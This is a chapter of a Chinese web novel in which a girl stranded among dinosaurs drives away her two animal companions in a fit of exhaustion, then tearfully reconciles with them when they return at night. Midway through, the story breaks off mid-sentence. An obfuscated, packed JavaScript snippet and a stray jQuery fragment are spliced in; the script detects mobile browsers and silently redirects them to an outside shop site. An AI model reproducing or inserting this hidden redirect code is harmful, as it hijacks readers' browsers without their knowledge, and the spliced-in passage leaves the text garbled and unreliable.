其实不是突然的。
从鸭嘴龙迁徙那天起，小角就变了。不是变坏了，是变“散”了——注意力像被风吹散的蒲公英，以前喊一声就回来，现在要喊三声、五声。它开始在树林里待很久，有时是挖块茎，有时就是站在那里，鼻子朝着西边的方向，一动不动。
绒绒也是。以前她一个眼神它就懂，现在学会了装无辜，歪着头看她，就是不行动。
她能理解。小角想妈妈，绒绒也有自己的世界。她不是它们的全部。
但她太累了。
二十一天。没有手机，没有热水，没有红烧肉。每天睁眼就是捡柴火、生火、找吃的、洗兽皮、防虫子、防恐龙。手上的口子从一道变成三道，左腿被灌木划了一条血痕，右手的旧伤还隐隐作痛。
所以今天她炸了。
---
小角又跑去空地挖块茎了。
林小禾站在洞口，叉着腰喊了第五声：“小角！回来吃饭了！”
小角抬起头看了她一眼，嘴里叼着半截块茎，嘴角流着白色汁液，然后——低下头，继续挖。
“小角！”
没反应。
绒绒站在石头上，歪头看着她，又看看小角，发出一声短促的咕噜。那声音像是在说“你管不了它”。
“绒绒，你去把它叫回来。”
绒绒歪头，没动。
“绒绒！”
绒绒把头别过去了。
林小禾深吸一口气，从树干斜坡上滑下去，走到小角面前，蹲下来捧住它的脸。
“你听不听话？”
小角嘴里还叼着块茎，眼睛圆溜溜的，表情无辜。
“我问你，你听不听话？”
小角嚼了嚼，咽下去，然后用头拱她的手，发出一声“咩”。
“别撒娇。我喊了你五次，你一次都没理我。”
小角低下头，开始啃地上的草。
“你还在吃！”林小禾站起来，“你除了吃还会干什么？”
话一出口，她就觉得重了。但停不下来。
“我每天捡柴火、生火、烤鱼、洗衣服、照顾你们两个，手上有茧了看不到吗？手腕还没好利索不知道吗？我每天睡醒第一件事就是确认你们还在不在，怕你们走了，怕你们被吃了——我一个人在这里，就只有你们俩。你们能不能听话一点？能不能让我省点心？”
小角不啃草了。站在那里，嘴里还挂着半片叶子，眼睛看着她，没有动。
绒绒从石头上飞下来，落在她旁边，用喙碰她的手。
“别碰我。”她把抽回来，“你也不听话。让你叫它回来你不去，站那看热闹。”
绒绒喉咙里发出一声低沉的咕噜——不是温柔的那种，是带着不安的。
“你们是不是觉得我好欺负？我随时可以走，那个坑还在。我回去就不用伺候你们了，有红烧肉、奶茶、热水澡、软床——”
她的声音在抖。
“你们知不知道我多想过回去？每一天都想，做梦都想。但我回不去。我只能在这里，跟你们在一起。”
她蹲下来，抱住膝盖。
“绒绒，你第一天晚上给我送鱼的时候，我以为你能送我回去。你不能。”
“小角，你从族群跑回来找我的时候，我以为这里可以是我的家。这里不是。永远不是。”
绒绒发出一声很轻的咕噜，轻得像叹息。
小角走过来，用头拱她的手。
“别拱我。”她缩回去。
小角又拱。
“我说了别拱我。”
小角停下。站在那里，黑褐色的眼睛看着她，没有委屈，没有无辜，只有一种她看不懂的东西。
她突然站起来。
“你们走吧。”
绒绒歪头。
“走啊。我不想养了。太累了。你们该回哪儿回哪儿——绒绒回你的树上去，小角去找你的族群。我不要你们了。”
空气安静了三秒。
绒绒没有动。小角没有动。
“走啊！”她喊了一声，声音在山谷里弹回来，碎成一片一片的。
绒绒展开翅膀，飞了起来。没有回头。
小角站在那里看了她一眼，然后低下头，慢慢朝树林走去。很慢，走了几步停下来回头看她，又继续走。
林小禾站在空地上，看着白色身影消失在树冠后，看着棕褐色圆滚滚的身体隐没在灌木丛里。
风从平原吹过来，凉飕飕的。
空地上只剩她一个人。
她蹲下来，把脸埋进膝盖。
没哭。不想哭。
只是太安静了。
---
她不知道自己坐了多久。
太阳落山了，天空从橙色变紫色，又从紫色变深蓝。第一颗星星出来了。
她站起来，走回洞里。火灭了，柴火还在角落，整整齐齐的，是绒绒和她一起分类码好的。小角薯堆在另一个角落，是小角挖的。
床垫上铺着干蕨叶，上面有绒绒的白羽毛和小角蹭下来的碎屑。
她坐在床垫上，抱着膝盖，看着洞口。
没有绒绒站在石头上。没有小角趴在洞口。
只有风，把蕨叶门帘吹得沙沙响。
“它们真的走了。”她轻声说。
以为自己会哭，但没哭。眼泪在眼眶里转了几圈又缩回去了。胸口有一个洞，不是疼，是空。
她生火。打火机打了几下没着，手在抖。再打，着了。火光照亮洞口，她把干树枝堆上去，看着火苗变大。
平时这个时候，绒绒会歪头看她生火，喉咙里发出像笑的声音。小角会趴在她脚边，把脑袋枕在她脚上，打着呼噜。
她伸手摸了摸脚边。空的。石板冰凉。
她缩回脚，抱住膝盖。
“林小北，我把它们赶走了。我是不是很过分？”
没有回答。火光跳动，她的影子像一个孤独的鬼魂。
---
半夜，她被冻醒了。
火已灭，只剩灰烬。洞口的蕨叶被风吹开，月光漏进来，画出一道银白色的线。
她蜷在床垫上，身体缩成一团。兽皮背心不够暖，脚趾头失去了知觉。
平时有绒绒在，它羽毛厚，靠上去像羽绒被。小角身体热，枕在脚上像暖炉。
现在什么都没有。
她把脸埋进膝盖，眼泪终于掉下来。安静的，无声的，一滴一滴打在膝盖上。
“我是个大笨蛋。绒绒没做错什么，小角只是在挖块茎。它们不知道我在说什么，只知道我生气了，喊它们走。所以它们就走了——因为听话。”
她用手背擦眼泪，擦不干净。
“林小禾你是全世界最烂的——”
然后她听到了一个声音。
翅膀扇动的声音。
她爬向洞口，拨开蕨叶。
月光下，一个白色影子从天空中落下来。
绒绒。
它落在洞口石头上，嘴里叼着一条鱼，鱼还在甩尾巴。它歪头看着她，把鱼放在石头上，用喙往前推了推——给你的。
“绒绒……你不是走了吗？”
绒绒歪头，又推了推鱼。
她伸手摸它的头。羽毛凉凉的，带着夜风的温度，但眼睛是温热的，在月光下闪着光。
“你回来干嘛？我那么凶，我让你走。”
绒绒用喙碰碰她的手，发出一声温柔的咕噜。
“你是不是傻？”她哭了，“你回来干嘛呀……”
然后树林那边传来一声。
“咩。”
很轻，很小。
月光下，一个圆滚滚的棕褐色身影从灌木丛后探出头来。小角。鼻子上全是泥，嘴里叼着一大把蕨类嫩芽，用什么东西捆着。脖子上还挂着那条淡红色石子项链。
它没走过来。站在那里，歪头看她——像是在问“我可以回来了吗”。
“小角……”她的声音碎了。
小角往前走一步，停下来，又看她。
“过来。”她蹲下来，张开手臂。
小角走过来了。走得慢，每走一步都看她一眼。走到面前，它把嘴里那把嫩芽放在她脚边，然后用头拱她的手——很轻，试探性的，带着不安的。
林小禾抱住小角的头，把脸埋进它脖子旁边。它的皮肤粗糙，带着泥土和植物的味道，还有一股热乎乎的生命气息。
“对不起对不起对不起……”
小角被她抱着有点懵，但没有挣扎，安静地站着，偶尔发出一声轻轻的“咩”。
绒绒从石头上飞下来，落在她旁边，把脑袋靠在她肩膀上。
她一手抱着小角，一手搂着绒绒，蹲在洞口，哭得上气不接下气。
“我不是真的想让你们走……我就是太累了……控制不住自己……我说话不过脑子……你们对我这么好我还凶你们，我是不是有病？”
绒绒发出一声短促的咕噜——像是在说“你也知道”。
“绒绒你别在这时候吐槽我……我在道歉呢……”
小角用头拱她下巴，发出一声闷闷的“咩”。
“小角对不起。我不该说你只会吃。你除了吃还会挖块茎，还会背树枝，还会陪我。你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680387|207662||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
选择留下来，我特别开心。我再也不会说让你们走这种话了。”
她转头看绒绒：“谢谢你回来。虽然只叼了一条鱼，不够三个人吃。”
绒绒歪头。
“但是谢谢你。真的。”
---
她们三个在洞口坐了很久。
半夜了，林小禾把那条鱼烤了。分成三份——一份给绒绒，一份掰一小块放小角面前算心意。小角闻了闻，打了个喷嚏，把鱼块吹到地上。
“小角你故意的吧？”她瞪它。
小角歪头，无辜。
绒绒叼起那块被喷过的鱼，仰头吞了，然后歪头看小角，发出一声嫌弃的咕噜。
“绒绒你别吃，脏了！”林小禾赶紧看它的嘴。
绒绒歪头，表情像是说“没事，我不嫌弃”。
“你不嫌弃我嫌弃。算了，你都吃了。”
她把自己那份吃完，然后把蕨类嫩芽递给小角：“你叼回来的，还给你。”
小角低下头开始吃，腮帮子鼓鼓的，嘴角冒绿色汁水。吃相还是那么难看，但林小禾看着它吃，突然觉得——最让人安心的事，就是小角还在吃东西。
“小角，以后不管我多凶，你都不要走。你就站在那里等我气消。我气消得很快的。”
小角抬起头，嘴里叼着半根嫩芽，歪头看她。
“你答应了？”
小角拱了拱她的手。
“好，拉钩。”她握住小角的前腿晃了晃。
绒绒站在石头上歪头看，喉咙里发出像笑的声音。
“绒绒你也过来拉钩。”
绒绒飞下来落在她面前。她握住绒绒的翅膀尖晃了晃：“拉钩，以后谁都不许走。”
绒绒发出一声短促的咕噜。
---
林小禾坐在洞口，左边绒绒右边小角。火重新生起来了，火光把三个影子投在洞壁上。
“你们知道吗？我刚才以为自己要一个人过了。好害怕——不是怕恐龙，不是怕饿肚子。是怕没人跟我说话了。绒绒虽然不会说话，但你会咕噜。小角虽然只会‘咩’，但你的‘咩’有好多种。开心的、委屈的、饿了的、想拉粑粑的——”
小角发出一声短促的“咩”，站起来走到洞口外面蹲下。
“你看，这就是想拉粑粑的‘咩’。我说中了吧。”
绒绒歪头，喉咙里发出像笑的声音。
小角拉完回来，趴在她脚边，把脑袋枕在她脚上。
“小角，以后你说想拉粑粑的‘咩’，我就让你出去。说饿了的‘咩’，我就给你吃东西。说委屈的‘咩’，我就摸你的头。”
小角抬起头，发出一声“咩”。
“这是哪种？”
小角又“咩”了一声。
“我分不清。算了，反正你不管怎么‘咩’，我都会理你。”
她靠在洞壁上，看着洞口的星星。
“绒绒，小角，你们知道我最后悔的是什么吗？不是说了那些话。是你们走的时候，我没有追。我看着你们走，没有追。因为我以为你们不要我了。但现在我知道了，你们不是不要我，你们只是听话。”
她伸手摸摸绒绒的羽毛，又摸摸小角的头。
“以后我不说那种话了。你们也不要那么听话。我说‘你们走’，你们就当我在放屁。”
绒绒歪头，小角打了个嗝。
“你们这是什么反应？我说‘放屁’你们听懂了？听得懂的词倒是挺会挑。”
绒绒把脑袋靠在她肩膀上，小角把腿搭在她脚上。
她伸出手，一边摸着绒绒，一边摸着小角。
“林小北。你妹今天干了一件蠢事。她把绒绒和小角赶走了。但它们又回来了——绒绒叼了一条鱼，小角叼了一把草。它们是回来跟我道歉的。不对，是我应该跟它们道歉。我道歉了，说了对不起。它们原谅我了。”
她吸了吸鼻子。
“你妹现在眼眶红红的，像个兔子。但你妹很开心。因为它们还在。”
她闭上眼睛。
“晚安，林小北。晚安，绒绒。晚安，小角。明天见。”
小角在睡梦中翻了个身，把另一条腿也搭在她脚上。绒绒用喙轻轻碰了碰她的脸。
白垩纪，第二十一天。
她说了气话。它们走了。空地上只剩她一个人。
半夜，绒绒叼着鱼回来了。小角叼着蕨类嫩芽回来了。
她们三个坐在洞口，烤鱼，吃草，拉钩，说以后谁都不许走。
她学会了最重要的一件事：说出去的话收不回来，但回来了的人，不会再走。